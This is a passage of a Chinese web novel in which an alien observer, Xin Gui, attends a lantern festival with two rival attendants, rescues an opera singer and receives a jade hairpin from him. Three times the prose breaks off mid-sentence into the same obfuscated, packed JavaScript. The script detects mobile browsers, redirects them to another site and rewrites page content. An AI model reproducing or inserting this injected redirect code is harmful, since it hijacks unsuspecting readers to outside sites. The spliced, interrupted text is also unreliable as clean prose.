打点布局都像李府,张妈应当在信里写了很多。辛圭甚至能想象到,在写信的时候,张妈情绪场里的碎石子一直在哗啦啦滑落。 辛圭深吸一口气: 【实验手册·新世界感官记录017:人的胸腔是最为坚固的部位,因为它总是会感觉满满的,却不会被撑破。 疑似情绪:想家。】 家是李府,不是光忆星。 “那就好,小姐路上辛苦,先歇歇。”柳掌柜又招呼伙计把行李抬进来,吩咐道:“把洗脸水端来,再去吩咐厨房做几样甜口的点心。” 话音未落,两道声音几乎同时响起。 “我来。” “我来吧。” 抬箱子的伙计手一抖,差点把箱子摔在地上。 温麟趾上前一步,单手提起那只最沉的箱子,动作干脆利落。他侧身进屋,把箱子妥善放在靠墙的位置。 方启星不甘示弱,拎着另外一个箱子:“你不是读书人吗?怎么还装起苦力了?” 温麟趾淡淡看了他一眼:“小姐的东西,我搬。” 方启星冷笑:“真是爱表现。” 两人你来我往,院里顿时多了股火药味。 辛圭看了看他们,又看了看被留在院口的最后一个小包袱,默默走过去,拎了起来。 “你们不用比了。”她宣布:“这个最轻的,我搬,我力气最小。” 两人同时回头。 “成圭。” “你放那儿——” 辛圭提着那只小包袱,认真记录: 【样本004、005竞争点记录: 表层:争抢体力活。 深层:展示自己更具男性属性的力气大小,进而争夺受重视程度。 结论一:今后可考虑分配不同类型的任务,以免浪费资源。 结论二:雄性生物沉迷竞争,表现在样本004、005身上,凸现的是比较体格和力气。】 柳掌柜看在眼里,心里乐得不行:“两位长随都是好样的,小姐,您身边有人抢着干活,是福气。” 辛圭思索了一下:“福气的定义,可不可以理解为——他人的关注与行动,都指向让我活得更为舒服?” 柳掌柜被这总结逗笑了:“差不多就是这个意思。 辛圭点点头:“这个福气,我会好好用。” 温麟趾低低笑了一声,很快又压住:“她是闲不住,恐怕现在就想着要看账本了。” 柳掌柜笑道:“这是自然,临余分号的账本已经备好,我这就让他们搬过来。若是想要和人打交道,今日晚上城里要放花灯,小姐来得巧,正好赶上,便可出去走走。” 辛圭闻言眼睛一亮:“放花灯?” 柳掌柜笑道:“是啊,临余每年年末都有一场灯会,商户们求来年顺利,百姓们求平安吉祥。”她看了站在一旁的温麟趾和方启星一眼:“也是有情人见面的地方。” 辛圭看想窗外那一线水光,心里翻涌起冲动:想去。 只记坏的,会失衡。 看着她跃跃欲试的模样,温麟趾淡声说道:“可以,但是要定规矩。” “你又来?”方启星不满。 “人多,”温麟趾说道:“成圭在外面,一刻不能和我们分开。” “这还用你说?”方启星忍不住翻了个白眼:“她哪怕走一步,我都——” 他话还没说完,辛圭已经做好决定:“那就一人一边。” 两人同时愣住。 “我在中间。”辛圭补充:“你们在左右。这样既能隔开你们吵架,我也安全。” 柳掌柜又笑了出来,感觉挡住嘴:“小姐真会说话。” “好了。现在,都去休息,找点自己的事儿干。”辛圭往桌前一坐:“我要看账本了,都不许吵。” 天色擦黑,临余城里的灯便一盏盏亮起来。 河边早已经摆满了卖花灯的小摊,有荷花形的,有小船形的,还有做成小动物的。孩子们追逐嬉戏,手里的灯流光溢彩。 辛圭被柳掌柜亲自打扮了一番。 换了一身浅色的棉裙,外头罩了件薄薄的绣花短袄,颜色不像李府那件张扬,只在袖口和衣襟缀了几朵小小的桂花。头发盘了两个圆髻在左右,垂下几缕细辫,用丝线打了结。 “好了。”柳掌柜看着镜子里的人,拍了拍手:“小姐本来就好看,稍微收拾一下,就比临余河边任何一盏花灯都俏。” 两人结伴走到门外,方启星原本靠在门框上,听见脚步声一抬头,在看见辛圭的那刻,整个人僵在原地。 温麟趾只抬头看了一眼,视线在她肩颈处停了半秒,随即移开,嗓音比平常更低半分:“路上小心。” “嗯。”辛圭点点头。 柳掌柜在旁说道:“你们两个护好了小姐,这么好看,哪个儿郎看了不心跳?” “你不跟我们去吗?”辛圭问道。 柳掌柜摸了摸精心梳妆的发髻,笑笑:“姐姐我今晚也要去看花灯,说不准咱们能碰上呢。” 出门前,辛圭自然地走到两人中间,左边是温麟趾,右边是方启星。 人群涌在河边,街上的叫卖声此起彼伏,有人喊糖葫芦,有人叫灯,还有人举着一排小风车在锋利晃,咯吱咯吱响。 人一多,难免就要肩挨着肩。 方启星怕人挤到辛圭,下意识往她那边靠了靠。 温麟趾直接抬手,护在辛圭背后,将她往自己身边拉了拉。 “看不过来没关系,灯会每年都有。”温麟趾说。 辛圭兴致勃勃,感受着情绪场的流向。虽然这些情绪与她无关,但她却感觉到自己的情绪和它们汇合在了一处,顺着河水,盘着街巷,向四面八方舒展、延伸。 “可你们不是说,世事无常吗?”辛圭反问:“如果没有明年了呢?如果明年我们不能再一起看花灯了呢?” 这句话把两人说的都怔了一下。 明年一定会再来,但温麟趾心里却想到了五年后,自己必死的那个秋日。 方启星摸了摸鼻子:“只要你还想,我年年岁岁都陪你看花灯。” 他说话声音很轻,好似风一吹就会散似的:“其实我去过矿场门口,但没进去,也不知道你人在哪里。那晚我就在矿场前,看着那么多人,心想,要是你在人堆里丢了,我上哪儿找你去。” 【情绪场记录·样本005补充 形态:碎星聚成一块,颜色偏深。 主导情绪:不是占有,而是恐惧。】 辛圭拍了拍他的后背,平静道:“我不会丢。” 方启星看了温麟趾一眼,咬了咬牙:“你说得容易。” “那你可以当我是一盏灯。”辛圭认真道:“只要你抬头,就能看见我。” 方启星被她这句莫名其妙的话弄得怔神,抬头看四周——满河灯火,晃得人眼花。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921075|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这么多,你是哪一盏?”他问。 “我这盏会走向你,”辛圭不紧不慢:“别的灯不会。” 方启星:“……” 他耳朵又红了。 温麟趾在旁听着,目光微微暗淡,忽然道:“既然说灯,那就买一盏。” 他说着,牵着辛圭走向路旁的灯摊,随手拿起一盏做工最为精致的荷花灯:“这盏如何?” 摊主连忙推销:“公子眼光真好,这是今年最俏的式样。” 方启星被打断,怒火中烧:“谁让你先选的?” 他三步并作两步冲过去,抓起旁边一盏小船灯,上面写着“风调雨顺”四个字。“我要这盏。” 辛圭站在摊前,看着那两盏灯,一个精致端庄,一盏意喻美好。 “这位小姐喜欢哪盏?”摊主很识趣,问道。 两人同时抬头看她。 辛圭思考片刻,开口说道:“都要!” 温麟趾与方启星:“……” “这盏像临余,是水面上的好看。”辛圭指着荷花灯说。她又看向小船灯:“这盏像是商州和登州,希望它们能风调雨顺。” 摊主一下卖出两个,接过银子,笑道:“姑娘真会说话,那我也祝姑娘来年找个好人家。” 辛圭摇头:“祝成记行来年财源滚滚。” 说罢,她又伸手拎了一个月宫的花灯,广寒宫上有只小兔子在向远处眺望,好似在思念家乡。 “我要这个。”辛圭自己付了银子,将花灯举起,与小兔子对视片刻后,深吸一口气:“走吧,我们去河边放灯。” “你不要我这个啊?”方启星拎着“风调雨顺”,又看了看拎着秀气荷花灯的温麟趾,觉得心里也没那么不平衡了。 辛圭转身:“自己的愿望自己许,不要把你的愿望强加于我。” 三人走到河边,温麟趾拿着荷花灯,方启星拿着小船灯,谁也不肯先往河里放。 灯影在水面上晃动,倒影出三个不一样的光晕。 “你们各许一个愿。”辛圭忽然说道。 “有什么好许的。” “说你们的愿望啊。”辛圭理直气壮:“临余灯会的功能,不就是这个吗?你们都来了,却不许灯知道你们在想什么,不公平。” 温麟趾在沉默中先开口:“愿李成圭一路顺利,再无遇登州之事。” 他的话一如既往的规矩、得体。莲花灯在他手中显得愈发秀气,但也衬得他线条愈加硬朗。 方启星听完,撇撇嘴:“你这愿望,讨好性也太强了。” “你请。”温麟趾不争。 方启星盯着水面,收敛了笑,声音出奇地认真:“我希望——以后,无论李成圭遇见什么,都不要觉得自己是做错了事,在被惩罚。” 这句话一出口,辛圭握着灯的手指微微一紧。 【新世界情绪记录·临余灯会 样本005愿望内容:拒绝将不幸归咎于受害者。 备注:高度契合记录者的长期心境。】 “那你呢?”方启星反问:“你自己想求什么?” “我……”辛圭想了想:“我希望,到最后一页的故事里,还能写下你们的名字。” 她说完,将那被困广寒宫的孤独小兔送到水中。 小兔摇摇晃晃,在光影交错间,去往未知的世界。 方启星看着那盏灯,忽然在她耳边轻轻说了一句:“那你记得,把我的名字写大一点。” 他的声音发烫,气息刮在她的耳廓上,惹得她耳朵轻轻一颤。 辛圭歪头看他一眼。 方启星难得没有躲,眼睛闪亮。 就在这时,河对岸忽然响起一阵锣鼓声,有人搭起了临时的戏台。人群一阵骚动,往那边挪去。 36. 第 36 章 台上正有位美丽女子抚琴,头上簪着玲珑冠,两侧垂下碧色璎珞,一袭金缕青衣规整。 戏台另一旁,是个靛袍男子,手持一把风流扇,上有点缀墨竹几枝。 “这是《玉簪记》”,方启星对这些极为熟稔,甚至能跟着哼上几句,“碧玉簪冠金缕衣,雪如肌;杏脸桃腮不傅粉,貌相宜。” 他声音原本就偏少年,清朗干净,此刻转头看辛圭,一如那书生潘必正看着陈妙常。 温麟趾偏了下头,低声对辛圭说:“潘必正借机挑逗陈妙常,原本就并非正人君子所为。” “嗯。”辛圭嘴上应着,眼睛却紧盯着台上的戏,直到看见那陈妙常雇了一叶小舟,在秋江上追赶潘必正时,长长地出了一口气。 在光忆星,其实是没有这样的故事情节的。每个人出生要做什么,到了什么年龄该做什么,都已经规划好了。 比如她的父母,也是系统通过大数据计算出来的,性格、职业等都是最适合在一起的。、 到了合适的年龄,系统也会给他们分配子嗣,帮助他们进行社会身份的转型。 台上锣鼓一紧,水袖一甩,那位陈妙常回身的刹那,灯火像被她的眼尾轻轻挑起,整个河岸都亮了半寸。 “真好看啊。”辛圭不由得赞叹。 那位旦角生得真是漂亮,眉骨细,鼻梁挺,一开口,嗓音清清亮亮,像是桂花蜜水里落了一点碎冰,美上加美。 台下叫好声此起彼伏。 “好!” “妙常好!” “再来一段!” 辛圭盯着台上,觉得自己心里有块地方被唤醒了。这个故事不平缓,它有跌宕起伏,它把美端端正正搬出来给人看,这才是一个故事啊。 【临余·灯会戏台 现象:群体沉浸式情绪同步。 触发:一个曲折的故事,一个唱腔与身段极佳的旦角。】 方启星在她身侧,见她看得出神,忍不住走近一点,声音压低:“看得懂吗?” “看得懂。”辛圭回道:“他在追,他在躲,她在不甘心。” “你怎么知道?” “动作。她每一次水袖甩出去,都是在拦;他每一次折扇遮脸,都是在退。” 行为就是情绪的外显。辛圭想着。 戏唱到最热时,台下忽然起了骚动。有人骂骂咧咧挤进戏台边,伸手就要拽那旦角的袖子,嘴里竟是些不好听的:“你这个小娘们儿,唱得倒是狐媚!唱完跟爷走一趟!” 鼓点乱了半拍。 那旦角显然没料到会有这种事儿,身子本能地向后退。但碍在戏服长,离台前又近,他脚下一滑,半只脚就这样踩在了台沿外。 看戏的人有些在起哄,有些人在叫骂,却每一个上前的。 上台的那人见状,反倒有种被“壮胆”的感觉,手更快,几乎就要抓住对方的手腕。 辛圭离得近,冲上面喊了一声:“跳下来,我接着!” 那旦角一咬牙,从台上一跃而下,水袖宛如翩翩蝴蝶。辛圭伸手接住她,自己被撞地后退两步。好在台子并不高,加上方启星在后面扶了一把,并没有摔倒在地。 “你——”汉子眼见到手的美人儿消失,怒目而视:“哪儿来的小娘——” 他话没说完,温麟趾已经站上台,借了那站在一旁手足无措的书生扇子一用,侧身用扇柄一敲那汉子的脑壳儿,又反手打在对方膝弯处。 那汉子“噗通”一声跪在了台上。 围观者终于反应过来,叫骂声一片。 “欺负唱戏的算什么本事!” “滚出去!” “报官!” 汉子被戏班子上来的人按住,动弹不得,脸上青一阵白一阵,最后只能咬牙认怂:“我、我喝多了……” 辛圭摇了摇头,小声说道:“喝多并不是免责的借口。” 她看身前的旦角,被刚才一吓,明显脸色苍白许多,呼吸也乱了,像是一只刚从网里挣脱出来的鸟儿。 好看。辛圭近距离看她,更觉得美。 台下有人喊:“继续唱!” 也有人喊:“歇一会儿吧。” 那旦角勉强笑了一下,朝辛圭行了个礼:“多谢……小姐相助。” 他声音一出来,辛圭眼睛微张,上身不自觉地向后略仰。 不是“她”。 这嗓子太清亮,尾音里有一点少年人的骨性。 她眨眨眼:“你唱得好。” 旦角冲她笑笑,重新上台,行了个礼,唱腔一转,竟然比刚才还要动听,像是夜空中升起的一轮明月。 锣鼓再起,台下掌声雷动。 方启星这才松了口气,偏头看向辛圭,眼神有点复杂:“你反应倒是快,多少有点小爷我的风范。” “你也很快。”辛圭感谢他扶的那一把,卸掉了大部分的力气。 温麟趾看她半晌,低声道:“下次别自己冲。” “我知道你们就在我身边呀。”辛圭笑着看他。 温麟趾喉结滚动,没再说话,只是把她往自己身侧带了带。 方启星见状嗤了一声,压着声音嘟囔:“你就会拎她,跟拎小鸡似的。” 方启星想反驳,话到嘴边又憋回去,转头装作自己压根不在意。可手却悄悄挪到辛圭袖口附近,与她保持着半寸的距离,生怕她再被人挤走。 戏唱完,人群散去时,夜色已深,只有天上的月和潺潺的水道不曾休息。辛圭又沿着河道走了一圈,这才心满意足地回去。 柳掌柜站在河岸另一头,手上拎着两包点心,见辛圭过来,笑道:“小姐,我可是听说今天戏台子上出了个见义勇为的人,莫不是你吧?” “按理说应该是温子修,他出手的。”辛圭不愿居功,“而且,这是维持秩序。” 柳掌柜笑得直拍手:“你这秩序维护得好。那戏班子是从外地来的,人家要是去了别处,说我们临余城有宵小之辈,看戏的百姓却是一句话都不敢说,那可完了。以后我这脸面,可如何与其他分号的掌柜见面。” 柳掌柜今夜不知去了何处,脸色红润,心情也是极佳,挽着辛圭往回走,“这戏班子叫玉春班,那旦角可是他们的台柱子,陈妙常唱得一绝。” “陈妙常。”辛圭重复了一遍:“这是角色名。” “可不是。”柳掌柜眯眼,身上带着微微的酒气,“人家台上叫妙常,台下却未必叫这个。” 夜深,桂花香反倒更浓,风铃叮当两声,像是已把今晚的喧嚣轻轻折叠好,收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928891|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进了柜子。 成记行的门口站了个人,披着就披风,怀里抱着一只细长的木匣子,见他们回来,先是下意识退了一步,又想起了什么,硬生生站住,抬起头。 灯笼的暖光照在他的脸上,那张在戏台上美得不真实的脸庞,此刻褪下粉,少了胭脂水气,更显清俊。 他咬了咬唇,嗓子更干净清透:“小姐。” 柳掌柜往边上一靠,想看到了最喜欢的折子戏。 温麟趾眸色一冷,脚步先一步挡在辛圭前面:“你是谁?” 方启星眉毛一挑:“小姐怕不是又有了新的长随?” 那青年被两道视线逼得脸色一白,抱紧木匣子,连忙解释:“我并非坏人,我是玉春班的人,今夜多亏小姐,我是来道谢的。” “道谢?”方启星虽然很不愿意承认,但还是指了指温麟趾:“这人也救了你,你却只谢她,怕不是别有居心。” 柳掌柜清了清嗓子,说道:“当时我也在附近,小姐走了之后,他在附近一阵询问,恰好嘛,就问到我这里来了。我报名号,怎么也是报自家小姐。而且人家是来送礼的,规矩得很,我让他站在这儿等,他就站在这儿一动不动。倒是你,急什么?” “我……”方启星觉得自从矿场之后,自己就不顺,怎么都被人噎得说不出话。 辛圭走上前去,打量着他的脸,感叹道:“竟然是男子,我当初真是没看出来。真好看,是男孩子也好看。” 青年耳朵被灯光映得更红,他垂着头,把木匣子往前递:“这是……这是一只簪子,玉簪,多谢你。” 戏台上唱《玉簪记》,戏台下送玉簪。 戏台上落落大方,戏台下羞涩骄矜。 青年像怕她误会,急忙道:“不是特别贵重的东西,是我们班里自己刻的,簪头是只兔子,因为我觉得……你好像一只白玉兔。” 他说着,又低下头,声音小得像风拂过纸张:“我……我也可以给小姐唱一段,算作回礼。” 柳掌柜在旁边差点没憋住笑,眼里写满了三个字:快收下。 辛圭接过木盒,问道:“台上你叫陈妙常,台下你叫什么?” 青年眼睛一亮:“陈砚月。” “哪两个字?” “笔墨纸砚的砚,月亮的月。” 辛圭拿起玉簪,别在头上:“怪不得我们有缘,你是月亮,我是兔子。” 温麟趾和方启星的脸色比夜还沉。 “现在唱吗?”辛圭头一回听戏曲,正觉得新奇。 陈砚月点头,退了三步,站得规规矩矩,抬起手,姿态比刚才在戏台上还要稳。 后院风铃清香,桂花浮起暗香。 陈砚月开口唱的,却不是《玉簪记》里最缠绵的唱词,而是一折短短的,以男声为主的清唱,唱的是“月上柳梢头,人约黄昏后”。 他一开口,人就自信了起来,挺直了肩。嗓音清透,像水面上浮着一层薄光。 唱到尾音时,陈砚月看向辛圭,眼中数不尽的风流意气。 “我明日……”他小心问道,目光不小心擦过辛圭,又像被烫到一样迅速移开:“我明日还能来送点心吗?我们班会做桂花糕,很甜。” 方启星“呵”一声:“看见没,我就说吧。” 37. 第 37 章 辛圭突然意识到,方启星这股刺,不是冲陈砚月,更像是冲自己。 她一下子不知道该怎么答,于是最后只是说了一句有些笨拙的话:“你别凶。” 方启星被她一句话堵了回去,但嘴仍然硬着:“我凶?当然了,人家送你玉簪,比我的糖可好多了。” 辛圭眨了眨眼,忽然抬手,把簪子扶正。 这个动作几乎是无意识的,可方启星的脸色瞬间更黑了。 只是辛圭没有注意到,她对陈砚月说道:“好呀,不过我这两位长随也帮忙了,不是我一个人,所以不能只谢我。” 陈砚月目光从方启星身上转向温麟趾,稍微停顿了一下,像是被温麟趾那副冷冰冰的模样吓到,连忙收回视线,对辛圭说:“好。两位长随也帮了我,我一定送来。” 柳掌柜捕捉到了关键词汇,眉梢一挑,说道:“行了行了,快回去吧,夜深了,我找个人送你回去,别到时候又出什么意外。这么好看的人儿。” 陈砚月这才一步三回头地走了。他的背影像是一只刚学会飞的鸟儿,兴奋地尾羽都翘起来。 院门合上,夜色更静。桂花香在这静谧当中显得更为浓烈,要把人心里的缝隙都填满。 “看看那孔雀开屏的样儿。”方启星在回屋的路上,嘟嘟囔囔的:“你怎么什么都收?” “为什么不能收?”辛圭疑惑。 “就是……就是不能谁给你点东西,你就……” “我就什么?”辛圭反问。 方启星憋了半天,憋出一句:“你就会被人骗走。” 这句话带了真心。 不是嫉妒,而是恐惧。恐惧的是她看什么都新鲜,见到谁都要试试温度,最后试着试着,发现有人比他好。 更何况,她还不知道自己和陆居平的那点事儿。 辛圭看着他,叹了口气,这颗初次见面时闪亮亮的小星星,怎么如今动不动就碎成一地? 她走近一步,轻声说道:“方启星,你是不是心还在登州,还在炉口镇?” “我的心就在这儿!”方启星否认。 “你还在为炉口镇的事儿难受,你觉得你没进去矿场救我,是欠了我?”辛圭原本以为事情已经说清楚了,可显然,方启星并没有走出来,甚至还把自己变成一只刺猬。 方启星嘴硬:“谁欠你?我是难受我没尽到长随的职责,到时候要被老爷骂。” 辛圭:“那就是你欠你自己。你做了你认为应该去做的事情,那为什么还是觉得不舒服?” 方启星眼神微动,像是被她戳中了心事——或许,自己做的,并不是自己应该做的。自己应该在她身边,保护她照顾她,看她笑看她翻账本,而不是和陆居平一起,做什么劳什子的大事儿。 他咬了咬嘴唇,又把话题绕了回来,不想再去想其他的、那些只能躲一时的事儿:“你刚才还问他名字。” “为什么不能问?”辛圭又回。 “你……”方启星一咬牙,开始胡搅蛮缠:“看来我是多余的,你是想好了要新的长随了。” 辛圭转头看他,语气带着一点点的软:“方启星,你刚才在河边说,你要年年岁岁陪我看花灯,可你现在在说什么?” 方启星噎了一下,脸上那股火气被扑灭了一半:“我……我不是故意的,我其实也不是生气,我……” “我知道。”辛圭落点很准确:“你是不安。自从登州之后,你就一直在不安我会被别人带走。” 这话说得对也不对,他是怕再遇到同样的事儿。他怕陆居平说穿说破他们的关系,他怕辛圭被利用,他怕再发生危险的时候自己又无能为力。但这话被说出口,似乎有了别的、更为私人的意味。他嘴硬到最后:“谁怕你被人带走?你又不是物件。” 辛圭点头:“对,我不是物件,谁也带不走我,包括你。” 方启星再次被这句噎得发狠,正要炸毛,辛圭又补充了一句:“但你可以跟我一起走,去淮南,去别的地方,去李府。” 方启星愣在原地,满腔的焦躁都被按住。那点少年人的莽撞、酸意、占有欲,全在“你可以跟我一起走”这句话中被软化,被消化,成了潺潺流水。 【情绪场记录·005补充 形态:星星重新变亮,颜色由深转暖。 推测:被允许进入“未来的设想”,导致稳定度提升。】 而温麟趾的目光却始终落在辛圭发间的那支新簪子上。 玉色的簪身在灯笼底下泛着温润的光,簪头那只小兔子支棱着耳朵,傻傻的模样倒真的有几分像她。 直到他听到辛圭最后的那句话,眸光微动,忽然开口:“该歇息了。” 他声音平稳,却比往日多了几分柔情。 方启星憋着一口气:“你凭什么命令我?” “凭你现在就要把门口闹成戏台。” “……” 辛圭看着这两人又要吵起来,干脆抬手:“停!我现在宣布一条长随守则。” 两人同时看向她。 辛圭认真道:“临余的任务是学习。学习内容包括:账本、生意等。必须可以持续,不能造成内耗,尤其是你们两个,这样我会很不开心。” 她目光落在温麟趾身上:“温子修,你负责安全和边界。”又看向方启星:“你负责讲账本和逗我开心” 方启星一愣:“我?” 辛圭点头:“你会说话,会逗人,今晚我发现你还唱曲儿。” 方启星嘴唇动了动,明明想嘲讽,最后却只挤出一句:“……你少胡说,小爷我的优点比这个多多了。” “那你得展示出来啊。你刚才说我会被人骗走,那你就可以把‘让我开心’做成一件事儿,这样我就不需要靠陌生人的好来确认外面的世界。”辛圭谆谆教导。 方启星吞了下口水,感觉此刻的月亮好像只照在了他一个人的身上,所有的行为,所有的心思,都被看得清清楚楚,也把他的嫉妒剥开,露出里面那颗最难堪的心愿:他想成为她在这个世界里,最可靠、最不需要费 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933187|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劲解释的那一个“好”。 温麟趾听得眼神暗淡,却没有反驳,只是伸手理了理辛圭的披风,声音低得几乎贴在她耳边:“明日要再出去,我跟着。” 他很顺理成章地接受了辛圭给自己安排的职责。 “嗯。”辛圭点头。 方启星在旁边看得牙酸,偏偏又不能说什么。 他突然又想起什么,阴着脸说:“你刚才把玉簪别头上了。” “对。”辛圭不置可否:“它好看。” 方启星咬牙:“你知道玉簪什么意思吗?” 辛圭觉得他问得莫名其妙,但还是好好回答:“是《玉簪记》里的玉簪,陈妙常道谢,当然使用戏文里的东西了。” “……在戏里,玉簪是定情信物。”方启星几乎是一字一顿。 他就说那小子绝对不安好心,一个唱戏的,竟然也敢肖想成圭! 辛圭停顿三秒,然后她很平静地把簪子取下来,放回盒子里:“暂存。明日我会把它还给陈砚月,并进行客观解释。” 柳掌柜一把在旁听着,心里想:哎哟,小姐还会这一招。先收,再还,再解释。把小郎君钓得魂飞天外又不算越界,妙啊。学到了学到了。 方启星看她这么干脆,反倒不知道自己刚才的拈酸吃醋究竟是为了什么,心里那股堵得要命的火忽然泄了一半。“你倒也不是笨。” 辛圭看着他,忽然笑了笑:“那你呢?你给我的灯,是不是也算定情信物?” 方启星脸腾地红了,说话都不利落了:“那、那是我买的灯!灯会谁不买?” 辛圭适当引导:“所以你看,信物的意义,是人赋予的,不是物自己长出来的。是你想多了。” 她走近他一步,声音很轻:“你不必怕我被人骗。你只需要学会,不用靠嘴硬也能让我留下来。” 方启星看着她,像突然意识到,她是在用最笨拙也最坦荡的方式,把选择摆到台面上,然后问你:你要不要、会不会也把心放上来。 “……我会。”他低声说。 “会什么?”辛圭不解。 方启星咬牙,像豁出去一样:“会让你开心。” 辛圭笑着点头,眼睛弯弯的,像天上的月牙:“好。那我们明日开始执行。” 夜色更深了。 辛圭走进屋前,回头看了他们一眼,也许是临余的河水,也许是戏词的唱腔,也许是市集的热闹,她大胆了一些。 “你们两个今晚都很好。”她认真道:“保护我,陪我、在我身边。” 说完,她轻轻关上了门。 廊下只剩风铃叮当两声。 方启星站在原地,半响才低声骂了一句:“她怎么……怎么这么会说。” 柳掌柜笑笑:“那可是我们成记行的小姐。” 温麟趾没接话,只抬头看了一眼那扇门。 夜很静。静得能听见桂花落地的声音,也能听见,有些东西正在慢慢变热。像烧到正好的炭,不着火,却暖得让人舍不得离开。 38. 第 38 章 柳掌柜看戏看得心满意足,伸了个懒腰,笑眯眯地把两人往各自的房间撵:“行了,戏散场了。两位爷要是想继续站着当门神,也得换班。温子修去巡一圈,方启星把外院灯笼再添一盏。” 方启星:“我凭什么听你的?” “你这么说可真是不讨喜。”柳掌柜瞥他一眼:“男人啊,嘴硬可以说是最下乘的品格了。谁要是想从你那儿讨一点甜头,还得先被你劈头盖脸来一顿,消化完了再在里面找你的好。等哪天小姐心情不好,第一个烦你。好啊,你不听也行,明天小姐起来,我就说你今晚光顾着吃酸,连灯都不点。” 方启星:“……”惹谁都别惹成记行的女人! 但想归想,仍是乖巧去点灯,一边思索着柳掌柜的话。 他觉得说得确实有几分道理,自己的本意是想对成圭好,结果呢,自己先酸言酸语的伤人,岂不是本末倒置? 柳掌柜又转回头,看向还立在廊下的温麟趾:“你呢?打算在这儿站一夜?” 温麟趾收回视线,声音仍旧平稳:“依柳掌柜所言,再巡一圈。” “巡得过来院子,巡不过来人心。”柳掌柜倚在柱子上,慢悠悠道:“小姐这一路出来,走的是商路,不是进香。” 温麟趾不语。 柳掌柜见他不接话,也不恼,像是真的困了,只是随口说着:“你别总把她往身后藏。她是成记行的小姐,不是纸糊的人像。做买卖的女娃娃,走出去要学会自己说话、自己出手,犯点错,摔两跤也是本钱。她身为女子出来行商,原本就难。这点,任凭任何一个分号的掌柜,都不及我体会的深。” 她顿了顿,又笑了一声:“还有啊,你们两个男人的脸色,也没多值钱。她看一看就够了,怎么还能事事先瞧你们。” 温麟趾眉心微动:“你这话,也对她说过?” “还没呢。”柳掌柜打了个哈欠:“先跟你们说说,好替小姐先看看你们的脸色。” 她摆摆手:“去吧。今晚算好兆头,灯会顺当,戏也唱得好,小姐笑得也好看。你们要是还觉得不满意,那就太不会过日子了。” 说完,她真要回房睡觉去了,留下一院子桂花香,和两盏安安稳稳的灯。 温麟趾沉默片刻,终究还是转身,去把他该巡的那一圈走完。 他没走几步便遇上方启星,也不知道他听了多少去,两人一前一后站在廊下,像是两把不同规制的兵器,碰巧被插在了同一片夜色当中。 方启星瞥了温麟趾一眼:“看我干什么?” 温麟趾平静道:“簪子。” “怎么?你也觉得她带着不好?” 温麟趾冷声:“你也觉得不好?” 方启星话到嘴边,又换了个说法:“我就是觉得,那簪子看起来碍眼。” 温麟趾抬眼看他:“碍眼的是簪子?还是她因为别人而高兴?” “你少拿话绕我!”方启星踢了一脚空无一物的地面,“我就是看不得她这么容易对人好。你没看见那小子的眼神?跟猫见了鱼似的。” 温麟趾淡淡:“你以为你不是?” 方启星:“……你也好不到哪儿去!” 温麟趾微微闭上双眼,过了片刻,他看向方启星:“那又如何?” 方启星气的胸口发疼,但偏偏又反驳不了。半晌,他把外套一甩,低声骂了一句:“我睡觉去。万一那小子明天来了,我还能在边上盯着。” 方启星回了房,温麟趾则靠着柱子坐下,望向辛圭房间的方向。 月色清亮,那上面是不是真的有一只小兔子在望着呢? 温麟趾想。 如果这一次的循环,只是为了她能够开心些,在自己必死的那个秋日,还能看见她继续活着,或许,对自己来说,也是一段很重要的记忆。 而这份记忆,大抵可以抵挡漫长岁月与无尽的循环。 在不知不觉间,他的想法也变了,只是自己还尚未察觉,尚未内观。 翌日清晨,天还只是一线鱼肚白的时候,辛圭醒了。风铃声从窗缝钻进来,在她耳边绕了一圈,她睁开眼,先是愣了一瞬,这才想起自己此刻在临余,身子便松弛下去,陷进被子里。 过了片刻,辛圭坐起身,院子里还是半雾半光,露水挂在瓦檐上,亮得想细碎的银。 方启星已经醒了,他坐在廊下的矮凳上,一手转着一根细竹棍,一手托腮打盹。听见门轴轻响,他猛地抬头,下意识站起来:“你醒了?” 这声“你醒了”落地柔和不少,和做完酸溜溜的语气截然不同。 辛圭点头:“你起得很早。” “我睡得……算了。”方启星轻咳一声,眼神有些别扭:“外头风大,我刚把灯熄了,省得烟飘进屋子里去。” 他难得主动解释一句,又觉得别扭,连忙就去提那桶水:“你要洗脸?我给你换一桶热的。” “谢谢。” 辛圭观察方启星的情绪场,惊讶地发现,那些昨晚乱七八糟的小光点,已经收束回原样,颜色也没有那么深了,好像夜里好好地自我修整了一番。 她忍不住补了一句:“谢谢你帮我。” 方启星手一顿,把水桶提得更稳了:“那不是应该的嘛。” 话听起来还像是逞强,可尾音却软了下来,连他自己都没觉察。 水被提去外院,很快换了桶热的回来。辛圭正低头拧帕子,偏门的方向传来脚步声。 